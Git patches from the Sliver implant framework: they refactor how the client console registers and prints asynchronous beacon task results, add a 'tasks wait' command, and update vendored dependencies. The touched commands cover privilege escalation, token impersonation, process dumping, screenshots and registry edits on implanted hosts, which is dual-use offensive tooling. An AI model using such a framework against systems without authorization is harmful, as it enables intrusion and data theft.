100644 --- a/client/command/filesystem/upload.go +++ b/client/command/filesystem/upload.go @@ -94,7 +94,7 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if upload.Response != nil && upload.Response.Async { - con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(upload.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, upload) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -102,7 +102,6 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintUpload(upload, con) }) - con.PrintAsyncResponse(upload.Response) } else { PrintUpload(upload, con) } diff --git a/client/command/info/info.go b/client/command/info/info.go index 0b1b128415..5c079578b6 100644 --- a/client/command/info/info.go +++ b/client/command/info/info.go @@ -179,7 +179,7 @@ func WhoamiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } if cto.Response != nil && cto.Response.Async { - con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(cto.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, cto) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -187,7 +187,6 @@ func WhoamiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintTokenOwner(cto, con) }) - con.PrintAsyncResponse(cto.Response) } else { PrintTokenOwner(cto, con) } diff --git a/client/command/loot/remote.go b/client/command/loot/remote.go index 764e8249fd..4e18db3aaa 100644 --- a/client/command/loot/remote.go +++ b/client/command/loot/remote.go @@ -67,13 +67,12 @@ func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con return nil, con.UnwrapServerErr(err) } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) } }) - con.PrintAsyncResponse(download.Response) } if download.Response != nil && download.Response.Err != "" { diff --git a/client/command/network/ifconfig.go b/client/command/network/ifconfig.go index bc714888d1..93a3d23f8f 100644 --- a/client/command/network/ifconfig.go +++ b/client/command/network/ifconfig.go @@ -49,7 +49,7 @@ func IfconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } all, _ := cmd.Flags().GetBool("all") if ifconfig.Response != nil && ifconfig.Response.Async { - con.AddBeaconCallback(ifconfig.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(ifconfig.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, ifconfig) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -57,7 +57,6 @@ func IfconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintIfconfig(ifconfig, all, con) }) - con.PrintAsyncResponse(ifconfig.Response) } else { PrintIfconfig(ifconfig, all, con) } diff --git a/client/command/network/netstat.go b/client/command/network/netstat.go index 5c32f69cbe..700264bf36 100644 --- a/client/command/network/netstat.go +++ b/client/command/network/netstat.go @@ -62,7 +62,7 @@ func NetstatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if netstat.Response != nil && netstat.Response.Async { - con.AddBeaconCallback(netstat.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(netstat.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, netstat) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -70,7 +70,6 @@ func NetstatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintNetstat(netstat, implantPID, activeC2, numeric, con) }) - con.PrintAsyncResponse(netstat.Response) } else { PrintNetstat(netstat, implantPID, activeC2, numeric, con) } diff --git a/client/command/prelude-operator/connect.go b/client/command/prelude-operator/connect.go index a75d844db7..3edbfe02bd 100644 --- a/client/command/prelude-operator/connect.go +++ b/client/command/prelude-operator/connect.go @@ -71,7 +71,7 @@ func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintInfof("Adding existing beacons ...\n") for _, beacon := range beacons.Beacons { err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) { - con.AddBeaconCallback(taskID, cb) + con.AddBeaconCallback(&commonpb.Response{TaskID: taskID}, cb) }) if err != nil { con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err) diff --git a/client/command/privilege/getprivs.go b/client/command/privilege/getprivs.go index 4b6c40efac..106ba89633 100644 --- a/client/command/privilege/getprivs.go +++ b/client/command/privilege/getprivs.go @@ -51,7 +51,7 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } pid := getPID(session, beacon) if privs.Response != nil && privs.Response.Async { - con.AddBeaconCallback(privs.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(privs.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, privs) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -59,7 +59,6 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintGetPrivs(privs, pid, con) }) - con.PrintAsyncResponse(privs.Response) } else { PrintGetPrivs(privs, pid, con) } diff --git a/client/command/privilege/getsystem.go b/client/command/privilege/getsystem.go index e921dc5d06..3e38e666cb 100644 --- a/client/command/privilege/getsystem.go +++ b/client/command/privilege/getsystem.go @@ -58,7 +58,7 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } if getSystem.Response != nil && getSystem.Response.Async { - con.AddBeaconCallback(getSystem.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(getSystem.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, getSystem) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -66,7 +66,6 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } PrintGetSystem(getSystem, con) }) - con.PrintAsyncResponse(getSystem.Response) } else { PrintGetSystem(getSystem, con) } diff --git a/client/command/privilege/impersonate.go b/client/command/privilege/impersonate.go index 2e3d7fbf2d..a58665f4f2 100644 --- a/client/command/privilege/impersonate.go +++ b/client/command/privilege/impersonate.go @@ -46,7 +46,7 @@ func ImpersonateCmd(cmd *cobra.Command, con *console.SliverClient, args []string } if impersonate.Response != nil && impersonate.Response.Async { - con.AddBeaconCallback(impersonate.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(impersonate.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, impersonate) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -54,7 +54,6 @@ func ImpersonateCmd(cmd *cobra.Command, con *console.SliverClient, args []string } PrintImpersonate(impersonate, username, con) }) - con.PrintAsyncResponse(impersonate.Response) } else { PrintImpersonate(impersonate, username, con) } diff --git a/client/command/privilege/make-token.go b/client/command/privilege/make-token.go index 18dc287307..1b07338ded 100644 --- a/client/command/privilege/make-token.go +++ b/client/command/privilege/make-token.go @@ -78,7 +78,7 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } if makeToken.Response != nil && makeToken.Response.Async { - con.AddBeaconCallback(makeToken.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(makeToken.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, makeToken) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -86,7 +86,6 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } PrintMakeToken(makeToken, domain, username, con) }) - con.PrintAsyncResponse(makeToken.Response) } else { PrintMakeToken(makeToken, domain, username, con) } diff --git a/client/command/privilege/rev2self.go b/client/command/privilege/rev2self.go index f214010ca1..3f7a964d0f 100644 --- a/client/command/privilege/rev2self.go +++ b/client/command/privilege/rev2self.go @@ -44,7 +44,7 @@ func RevToSelfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } if revert.Response != nil && revert.Response.Async { - con.AddBeaconCallback(revert.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(revert.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, revert) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -52,7 +52,6 @@ func RevToSelfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } PrintRev2Self(revert, con) }) - con.PrintAsyncResponse(revert.Response) } else { PrintRev2Self(revert, con) } diff --git a/client/command/privilege/runas.go b/client/command/privilege/runas.go index a07f3cfebc..62b2510457 100644 --- a/client/command/privilege/runas.go +++ b/client/command/privilege/runas.go @@ -70,7 +70,7 @@ func RunAsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := getName(session, beacon) if runAs.Response != nil && runAs.Response.Async { - con.AddBeaconCallback(runAs.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(runAs.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, runAs) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -78,7 +78,6 @@ func RunAsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintRunAs(runAs, process, arguments, name, con) }) - con.PrintAsyncResponse(runAs.Response) } else { PrintRunAs(runAs, process, arguments, name, con) } diff --git a/client/command/processes/procdump.go b/client/command/processes/procdump.go index d39b2d3103..9b01ce8954 100644 --- a/client/command/processes/procdump.go +++ b/client/command/processes/procdump.go @@ -79,7 +79,7 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { hostname := getHostname(session, beacon) if dump.Response != nil && dump.Response.Async { - con.AddBeaconCallback(dump.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(dump.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, dump) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -93,7 +93,6 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { PrintProcessDump(dump, saveTo, hostname, pid, con) } }) - con.PrintAsyncResponse(dump.Response) } else { if saveLoot { LootProcessDump(dump, lootName, hostname, pid, con) diff --git a/client/command/processes/ps.go b/client/command/processes/ps.go index 76cad08198..2b7b030d4e 100644 --- a/client/command/processes/ps.go +++ b/client/command/processes/ps.go @@ -102,7 +102,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } os := getOS(session, beacon) if ps.Response != nil && ps.Response.Async { - con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(ps.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, ps) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -115,7 +115,6 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", ")) } }) - con.PrintAsyncResponse(ps.Response) } else { PrintPS(os, ps, true, cmd.Flags(), con) products := findKnownSecurityProducts(ps) diff --git a/client/command/processes/terminate.go b/client/command/processes/terminate.go index 293beb722f..f563cfc993 100644 --- a/client/command/processes/terminate.go +++ b/client/command/processes/terminate.go @@ -56,7 +56,7 @@ func TerminateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } if terminated.Response != nil && terminated.Response.Async { - con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(terminated.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, terminated) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -64,7 +64,6 @@ func TerminateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } PrintTerminate(terminated, con) }) - con.PrintAsyncResponse(terminated.Response) } else { PrintTerminate(terminated, con) } diff --git a/client/command/reconfig/reconfig.go b/client/command/reconfig/reconfig.go index 98d5775ee5..d68195dc4b 100644 --- a/client/command/reconfig/reconfig.go +++ b/client/command/reconfig/reconfig.go @@ -84,7 +84,7 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if reconfig.Response != nil && reconfig.Response.Async { - con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(reconfig.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, reconfig) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -92,7 +92,6 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } con.PrintInfof("Reconfigured beacon\n") }) - con.PrintAsyncResponse(reconfig.Response) } else { con.PrintInfof("Reconfiguration complete\n") } diff --git a/client/command/registry/reg-create.go b/client/command/registry/reg-create.go index bef2cdea17..d93f344d71 100644 --- a/client/command/registry/reg-create.go +++ b/client/command/registry/reg-create.go @@ -81,7 +81,7 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } if createKey.Response != nil && createKey.Response.Async { - con.AddBeaconCallback(createKey.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(createKey.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, createKey) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -89,7 +89,6 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } PrintCreateKey(createKey, finalPath, key, con) }) - con.PrintAsyncResponse(createKey.Response) } else { PrintCreateKey(createKey, finalPath, key, con) } diff --git a/client/command/registry/reg-delete.go b/client/command/registry/reg-delete.go index b4443664ec..e83396781a 100644 --- a/client/command/registry/reg-delete.go +++ b/client/command/registry/reg-delete.go @@ -81,7 +81,7 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } if deleteKey.Response != nil && deleteKey.Response.Async { - con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(deleteKey.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, deleteKey) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -89,7 +89,6 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } PrintDeleteKey(deleteKey, finalPath, key, con) }) - con.PrintAsyncResponse(deleteKey.Response) } else { PrintDeleteKey(deleteKey, finalPath, key, con) } diff --git a/client/command/registry/reg-list.go b/client/command/registry/reg-list.go index 657086c7ca..f60f56fb17 100644 --- a/client/command/registry/reg-list.go +++ b/client/command/registry/reg-list.go @@ -56,7 +56,7 @@ func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverClient, args []str } if regList.Response != nil && regList.Response.Async { - con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -64,7 +64,6 @@ func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverClient, args []str } PrintListSubKeys(regList, hive, regPath, con) }) - con.PrintAsyncResponse(regList.Response) } else { PrintListSubKeys(regList, hive, regPath, con) } @@ -107,7 +106,7 @@ func RegListValuesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri } if regList.Response != nil && regList.Response.Async { - con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -115,7 +114,6 @@ func RegListValuesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri } PrintListValues(regList, hive, regPath, con) }) - con.PrintAsyncResponse(regList.Response) } else { PrintListValues(regList, hive, regPath, con) } diff --git a/client/command/registry/reg-read.go b/client/command/registry/reg-read.go index 6c5efeda30..a381937784 100644 --- a/client/command/registry/reg-read.go +++ b/client/command/registry/reg-read.go @@ -129,7 +129,7 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } if regRead.Response != nil && regRead.Response.Async { - con.AddBeaconCallback(regRead.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regRead.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regRead) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -137,7 +137,6 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintRegRead(regRead, con) }) - con.PrintAsyncResponse(regRead.Response) } else { PrintRegRead(regRead, con) } diff --git a/client/command/registry/reg-write.go b/client/command/registry/reg-write.go index 181c0d0a57..127fe5135c 100644 --- a/client/command/registry/reg-write.go +++ b/client/command/registry/reg-write.go @@ -143,7 +143,7 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } if regWrite.Response != nil && regWrite.Response.Async { - con.AddBeaconCallback(regWrite.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regWrite.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regWrite) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -151,7 +151,6 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintRegWrite(regWrite, con) }) - con.PrintAsyncResponse(regWrite.Response) } else { PrintRegWrite(regWrite, con) } diff --git a/client/command/screenshot/screenshot.go b/client/command/screenshot/screenshot.go index f958474d4b..4a5430292b 100644 --- a/client/command/screenshot/screenshot.go +++ b/client/command/screenshot/screenshot.go @@ -62,7 +62,7 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) hostname := getHostname(session, beacon) if screenshot.Response != nil && screenshot.Response.Async { - con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(screenshot.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, screenshot) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -80,7 +80,6 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) PrintScreenshot(screenshot, hostname, cmd, con) } }) - con.PrintAsyncResponse(screenshot.Response) } else { if saveLoot { if len(screenshot.Data) > 0 { diff --git a/client/command/tasks/commands.go b/client/command/tasks/commands.go index d92e1b2df0..a68bc7a447 100644 --- a/client/command/tasks/commands.go +++ b/client/command/tasks/commands.go @@ -1,13 +1,32 @@ package tasks +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -53,5 +72,17 @@ func Commands(con *console.SliverClient) []*cobra.Command { tasksCmd.AddCommand(cancelCmd) carapace.Gen(cancelCmd).PositionalCompletion(BeaconPendingTasksCompleter(con).Usage("beacon task ID")) + waitCmd := &cobra.Command{ + Use: consts.WaitStr, + Short: "Block and wait for a task to complete and return its results", + Long: help.GetHelpFor([]string{consts.TasksStr, consts.WaitStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TaskWaitCmd(cmd, con, args) + }, + } + tasksCmd.AddCommand(waitCmd) + carapace.Gen(waitCmd).PositionalCompletion(BeaconPendingTasksCompleter(con).Usage("beacon task ID")) + return []*cobra.Command{tasksCmd} } diff --git a/client/command/wasm/wasm.go b/client/command/wasm/wasm.go index 25b6a0a042..ff3ee0ff59 100644 --- a/client/command/wasm/wasm.go +++ b/client/command/wasm/wasm.go @@ -142,7 +142,7 @@ func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console. return } if execWasmResp.Response != nil && execWasmResp.Response.Async { - con.AddBeaconCallback(execWasmResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(execWasmResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, execWasmResp) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) diff --git a/client/console/console.go b/client/console/console.go index b51194b962..7e94b5efd9 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -120,13 +120,18 @@ type SliverClient struct { closeLogs []func() // Sliver-specific - Rpc rpcpb.SliverRPCClient - ActiveTarget *ActiveTarget - EventListeners *sync.Map + Rpc rpcpb.SliverRPCClient + ActiveTarget *ActiveTarget + EventListeners *sync.Map + + // Tasks (pending) + beaconSentStatus map[string]*sync.WaitGroup + beaconTaskSentMutex *sync.Mutex + waitingResult chan bool + + // Tasks (completed) BeaconTaskCallbacks map[string]BeaconTaskCallback - beaconSentStatus map[string]*sync.WaitGroup BeaconTaskCallbacksMutex *sync.Mutex - beaconTaskSentMutex *sync.Mutex } // NewSliverClient is the general-purpose Sliver Client constructor. @@ -348,6 +353,36 @@ func (con *SliverClient) WaitSignal() error { return nil } +func (con *SliverClient) waitSignalOrClose() error { + if !con.isCLI { + return nil + } + + sigchan := make(chan os.Signal, 1) + + signal.Notify( + sigchan, + syscall.SIGINT, + syscall.SIGTERM, + syscall.SIGQUIT, + // syscall.SIGKILL, + ) + + if con.waitingResult == nil { + con.waitingResult = make(chan bool) + } + + select { + case sig := <-sigchan: + con.PrintInfof("Received signal %s\n", sig) + case <-con.waitingResult: + con.waitingResult = make(chan bool) + return nil + } + + return nil +} + // FormatDateDelta - Generate formatted date string of the time delta between then and now. func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string { nextTime := t.Format(time.UnixDate) diff --git a/client/console/events.go b/client/console/events.go index a37199f2cd..c9699412a8 100644 --- a/client/console/events.go +++ b/client/console/events.go @@ -135,7 +135,7 @@ func (con *SliverClient) startEventLoop() { // Prelude Operator if prelude.ImplantMapper != nil { err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) { - con.AddBeaconCallback(taskID, cb) + con.AddBeaconCallback(&commonpb.Response{TaskID: taskID}, cb) }) if err != nil { con.PrintErrorf("Could not add beacon to Operator: %s", err) @@ -219,14 +219,6 @@ func (con *SliverClient) triggerBeaconTaskCallback(data []byte) { return } - // If needed, wait for the "request sent" status to be printed first. - if waitStatus := con.beaconSentStatus[task.ID]; waitStatus != nil { - waitStatus.Wait() - con.beaconTaskSentMutex.Lock() - delete(con.beaconSentStatus, task.ID) - con.beaconTaskSentMutex.Unlock() - } - ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() beacon, _ := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: task.BeaconID}) @@ -237,35 +229,82 @@ func (con *SliverClient) triggerBeaconTaskCallback(data []byte) { con.BeaconTaskCallbacksMutex.Lock() defer con.BeaconTaskCallbacksMutex.Unlock() if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok { + + // If needed, wait for the "request sent" status to be printed first. + con.beaconTaskSentMutex.Lock() + if waitStatus := con.beaconSentStatus[task.ID]; waitStatus != nil { + waitStatus.Wait() + delete(con.beaconSentStatus, task.ID) + } + con.beaconTaskSentMutex.Unlock() + if con.Settings.BeaconAutoResults { if beacon != nil { - con.PrintSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0]) + con.PrintSuccessf("%s completed task %s\n", beacon.Name, strings.Split(task.ID, "-")[0]) } task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ ID: task.ID, }) - con.Printf(Clearln + "\r") + con.Printf(Clearln + "\r\n") if err == nil { callback(task_content) } else { - con.PrintErrorf("Could not get beacon task content: %s", err) + con.PrintErrorf("Could not get beacon task content: %s\n", err) } } delete(con.BeaconTaskCallbacks, task.ID) + con.waitingResult <- true } } -func (con *SliverClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) { +func (con *SliverClient) AddBeaconCallback(resp *commonpb.Response, callback BeaconTaskCallback) { + if resp == nil || resp.TaskID == "" { + return + } + // Store the task ID. con.BeaconTaskCallbacksMutex.Lock() - defer con.BeaconTaskCallbacksMutex.Unlock() - con.BeaconTaskCallbacks[taskID] = callback + con.BeaconTaskCallbacks[resp.TaskID] = callback + con.BeaconTaskCallbacksMutex.Unlock() - // And wait for the "request sent" status to be printed before results. + // Wait for the "request sent" status to be printed before results. con.beaconTaskSentMutex.Lock() wait := &sync.WaitGroup{} wait.Add(1) - con.beaconSentStatus[taskID] = wait - defer con.beaconTaskSentMutex.Unlock() + con.beaconSentStatus[resp.TaskID] = wait + con.beaconTaskSentMutex.Unlock() + con.PrintAsyncResponse(resp) + con.waitSignalOrClose() } + +// NewTask registers a new task (asynchronous -beacon- or not). If: +// - the provided (task) Response is nil, +// - if the task is not marked Async, +// - or if it's ID is nil, +// the task is considered synchronous, and we will directly call +// the handle function to execute the post-response workflow. +func (con *SliverClient) NewTask(resp *commonpb.Response, message proto.Message, handle func()) { + // We're no beacon here. + if resp == nil || !resp.Async || resp.TaskID == "" { + if handle != nil { + handle() + } + return + } + + // Else, we are a beacon. + con.AddBeaconCallback(resp, func(task *clientpb.BeaconTask) { + err := proto.Unmarshal(task.Response, message) + if err != nil { + con.PrintErrorf("Failed to decode response %s\n", err) + return + } + + if handle != nil { + handle() + } + }) +} + +// con.NewTask(download.Response, download, func() { PrintCat(download, cmd, con) }) diff --git a/client/console/log.go b/client/console/log.go index 4eb32b66f7..8779241b3d 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -28,13 +28,14 @@ import ( "strings" "time" + "github.com/moloch--/asciicast" + "golang.org/x/exp/slog" + "golang.org/x/term" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/moloch--/asciicast" - "golang.org/x/exp/slog" - "golang.org/x/term" ) // ConsoleClientLogger is an io.Writer that sends data to the server. diff --git a/client/console/teamclient.go b/client/console/teamclient.go index 03acd39ee0..b7ccad2fbc 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -84,6 +84,10 @@ func (con *SliverClient) ConnectRun(cmd *cobra.Command, _ []string) error { // This function is safe to call regardless of the client being used // as a closed-loop console mode or in an exec-once CLI mode. func (con *SliverClient) ConnectComplete() (carapace.Action, error) { + if con.Rpc != nil { + return carapace.ActionValues(), nil + } + // This almost only ever runs teamserver-side pre-runs. err := con.runPreConnectHooks() if err != nil { diff --git a/client/constants/constants.go b/client/constants/constants.go index b5a61eb2a4..6cd3e17df9 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -132,6 +132,7 @@ const ( PruneStr = "prune" TasksStr = "tasks" CancelStr = "cancel" + WaitStr = "wait" GenerateStr = "generate" RegenerateStr = "regenerate" CompilerInfoStr = "info" From 82d0c9cefb0a31cd97843ab31159aef6b5f33e10 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 18:43:38 +0200 Subject: [PATCH 080/124] Update console/completion dependencies --- go.mod | 12 +- go.sum | 17 +- .../github.com/reeflective/console/README.md | 12 +- .../github.com/reeflective/console/command.go | 37 -- .../console/commands/readline/bind.go | 499 +++++++----------- .../console/commands/readline/commands.go | 3 +- .../console/commands/readline/completers.go | 115 ++++ .../console/commands/readline/config.go | 54 ++ .../console/commands/readline/export.go | 389 ++++++++++++++ .../console/commands/readline/set.go | 93 +++- .../github.com/reeflective/console/console.go | 9 +- vendor/github.com/reeflective/console/menu.go | 137 ++++- vendor/github.com/reeflective/console/run.go | 89 ++-- .../reeflective/console/tab-completer.go | 25 +- .../readline/internal/core/line.go | 2 +- .../readline/internal/display/engine.go | 20 +- .../readline/internal/term/cursor.go | 8 +- .../readline/internal/ui/prompt.go | 2 +- .../github.com/reeflective/readline/shell.go | 4 +- .../reeflective/team/internal/certs/certs.go | 32 +- .../reeflective/team/internal/certs/users.go | 2 +- .../reeflective/team/internal/db/sql.go | 4 +- vendor/modules.txt | 10 +- 23 files changed, 1121 insertions(+), 454 deletions(-) create mode 100644 vendor/github.com/reeflective/console/commands/readline/completers.go create mode 100644 vendor/github.com/reeflective/console/commands/readline/config.go create mode 100644 vendor/github.com/reeflective/console/commands/readline/export.go diff --git a/go.mod b/go.mod index 9bc05f9e22..b249a97524 100644 --- a/go.mod +++ b/go.mod @@ -3,12 +3,15 @@ module github.com/bishopfox/sliver go 1.20 // A fork of the completion engine is currently used in order to consume the engine -// as a library. The fork is a very slightly patched mainline tree for that purpose. -replace github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 +// as a library. The fork is a very slightly patched mainline tree for that purpose, +// and is regularly maintained up-to-date with upstream. Should be removed long-term. +replace github.com/rsteube/carapace v0.42.1 => github.com/reeflective/carapace v0.25.2-0.20230808000955-080d3bd7f194 // Team is the teamserver/teamclient library, and this directive should be removed. replace github.com/reeflective/team => /home/user/code/github.com/reeflective/team +replace github.com/reeflective/readline => /home/user/code/github.com/reeflective/readline + require ( filippo.io/age v1.1.1 